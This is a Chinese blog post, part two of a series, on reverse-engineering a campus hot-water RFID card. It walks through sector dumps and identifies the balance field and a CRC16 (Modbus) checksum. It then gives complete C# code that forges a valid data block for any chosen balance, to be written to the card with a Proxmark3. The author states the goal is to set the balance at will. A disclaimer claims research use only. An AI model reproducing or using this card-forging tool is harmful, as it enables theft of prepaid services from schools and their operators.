美文网首页
RFID小白的校园卡破解之路2--水卡数据分析

RFID小白的校园卡破解之路2--水卡数据分析

作者: anodern | 来源:发表于2018-10-31 22:55 被阅读0次

本文只作技术交流分享研究之用,请勿用于非法用途,否则后果自负。
上一篇文章是关于破解校园卡密码时发生的琐事的:https://www.jianshu.com/p/5eff935a5e9f

02扇区数据分析

上一篇文章结束,卡片复制也完成了。
但是,仅限于复制卡岂不是很无趣吗,我们得知道扇区里面的数据代表什么含义,随意控制余额才行啊。
根据之前的判断,02扇区是存储了洗澡热水的数据,我们来观察一下

2 扇区
0区块:00 02 3A DE 06 85 11 11 11 00 00 00 00 10 15 F5
1区块:00 05 00 00 13 E5 00 00 00 00 00 00 00 00 8A AB
2区块:00 05 00 00 13 E8 00 00 00 00 00 00 00 00 86 3A

注:学校的这个水卡机是用水量对应的金额每到0.03元进行一次扣费。另外只要刷一次就扣0.03元,不管有没有出水

0块在几次刷卡前后都未发生变化,暂时不考虑
13E5和13E8两个数值不同而相似,首先怀疑它
转为10进制分别为5093和5096
而卡上正好剩余了50.93元,于是这个数值的作用就显而易见了,另外一条为上一次交易的数据

复制一张卡去刷几次看看,记录下来

50.93
0005000013E50000000000000000A00A
0005000013E80000000000000000F89A

50.87
0005000013DF00000000000000008AAB
0005000013E20000000000000000863A

50.84
0005000013DF00000000000000008AAB
0005000013DC00000000000000009E5B

50.81
0005000013D90000000000000000A10B
0005000013DC00000000000000009E5B

40.91
000500000FFB0000000000000000E000
000500000FFE0000000000000000DF50

两条数据相互覆盖,没有先后关系

前面有一个5一直未发生改变,上次充值前是4,可能是充值一次+1,暂时不管它

所以重点就落在最后的四位上了
每次刷卡后这四位都会改变,且直接修改金额后无法读卡,所以这四位就是校验码

将数据刷回50.93的那条,重复刷卡-读卡步骤,得出的校验码和前一次是相同的,这说明它们之间存在一一对应关系
两次刷卡间隔很短,但校验码差别较大,可以排除时间码、整数与小数相加或者一些倒位操作的可能


于是现在的问题就在如何找到这个校验算法了,能不能找到还是得看人品
首先试试下面软件的各种算法,都没有得出理想的结果

算法工具集
既然可以用MD5、SHA-1校验,也可以用平时在winrar上经常看见的CRC32校验算法
winrar上的CRC32

于是我找到了这个在线计算CRC的网站
https://www.lammertbies.nl/comm/info/crc-calculation.html
这里的算法多用于串口通信的数据校验,我尝试把金额和校验位组合计算CRC16

CRC校验比对

意外地发现CRC-16CRC-16(Modbus)两种校验码是一致的!
如果加上前面的充值计数呢
CRC16同样是一致的,而CRC16(Modbus)变成了0!

那么至此,已经可以说水卡的破解已经完成
因为只要根据修改后的数据逆向算出校验码就可以通过机器的验证了

出现为0的校验码

ModBus 通信协议的 CRC ( 冗余循环校验码含2个字节, 即 16 位二进制数。CRC 码由发送设备计算, 放置于所发送信息帧的尾部。接收信息设备再重新计算所接收信息 (除 CRC 之外的部分)的 CRC, 比较计算得到的 CRC 是否与接收到CRC相符, 如果两者不相符, 则认为数据出错。
来源及具体原理:https://www.cnblogs.com/jungle1989/p/6372527.html

简单粗暴的方法就是穷举校验码,一共2^16即65536种情况,然后进行CRC校验,比对结果为0就是最终的校验码(其实是没找到反向计算的算法)
C#由16进制算CRC16 modbus:https://www.cnblogs.com/oukunqing/p/5820640.html


输入一个数比如50.93
输出的0005000013e50000000000000000a00a后直接填到pm3里写入就好了

C#代码,本着精简的原则没有对数据进行检查(其实是懒= =):

using System;
using System.Text;
class Program {
    static void Main(string[] args) {
        string[] str = Console.ReadLine().Split('.');
        string hexMoney = Convert.ToString(Convert.ToInt32(str[0] + str[1]), 16).PadLeft(4, '0'), str0 = "00050000";
        int i = 0;
        while(i<0xFFFF && CRC16(str0+hexMoney+"0000000000000000"+Convert.ToString(i,16))!="0000") i++;
        Console.WriteLine(str0+hexMoney+"0000000000000000"+Convert.ToString(i,16));
        Console.ReadLine();
    }
    
    public static string CRC16(string str) {
        StringBuilder s = new StringBuilder();
        foreach (short c in str.ToCharArray())
            if (c <= 0 || c >= 127) s.Append(c.ToString("X4"));
            else s.Append((char)c);
        string hex = s.ToString();
        byte[] result = new byte[hex.Length / 2];
        for (int i = 0, c = result.Length; i < c; i++)
            result[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
        ushort crc = 0xFFFF;
        for (int i = 0; i < result.Length; i++) {
            crc = (ushort)(crc ^ (result[i]));
            for (int j = 0; j < 8; j++)
                crc = (crc&1)!=0?(ushort)((crc>>1)^0xA001):(ushort)(crc>>1);
        }
        byte hi = (byte)((crc & 0xFF00) >> 8);
        byte lo = (byte)(crc & 0x00FF);
        return Convert.ToString(hi*0x100+lo, 16).ToUpper().PadLeft(4, '0');
    }
}

于是就可以猥琐欲为了


以后再找找开水卡是怎样校验的
饭卡是联网的,别想了

相关文章

  • RFID小白的校园卡破解之路2--水卡数据分析

    本文只作技术交流分享研究之用,请勿用于非法用途,否则后果自负。上一篇文章是关于破解校园卡密码时发生的琐事的:htt...

  • RFID小白的校园卡破解之路1

    本文只作技术交流分享研究之用,请勿用于非法用途,否则后果自负。 0.开端 高中一次偶然原因,在网上看到IC卡的破解...

  • RFID 之水卡破解

    本文只作技术研究之用,请勿用于非法用途,否则后果自负。如今网络上能找到 RFID 安全类的信息非常的少,原因我就不...

  • 2019-07-09 7、考勤系统功能实现——打卡

    一、任务需求 1、连接设备,读取RFID卡中员工编号,并向数据库中插入一条打卡记录 2、注册新卡,向RFID卡中写...

  • 回顾串口及其串口编程

    1.RFID读写卡上位机测试程序界面 1.1RFID读写卡界面效果图 1.2RFID读写卡界面功能描述 在RFID...

  • 中南财大的校园卡消费数据爬虫

    一 如果想统计下自己、专业或者班级的同学的校园卡消费数据,校园卡一卡通网站同样也提供了相应的方法,可以写一篇关于自...

  • 你所熟悉却未必了解的校园卡

    本想等校园卡升级的项目完成后,再来仔细聊聊校园卡的事情,但最近一段时间,学校的校园卡不太消停,那就提前说说吧。 无...

  • MES解决的问题与思路

    1、数据采集与分析:通过条码、RFID、设备对接、传感等方式实现车间生产数据的采集; 2、基础数据管理:包括人员数...

  • 信78

    哈喽,同学,请问办校园卡吗? 这句话是今天我说的最多的一句话。就在今天,我和同学一起,推销起了校园卡,一张校园卡还...

  • RFID和物联网的关系

    RFID的概念 RFID的用途 无源RFID产品发展最早,也是发展最成熟,市场应用最广的产品。比如,公交卡、食堂餐...

网友评论

      本文标题:RFID小白的校园卡破解之路2--水卡数据分析

      本文链接:https://www.haomeiwen.com/subject/utdztqtx.html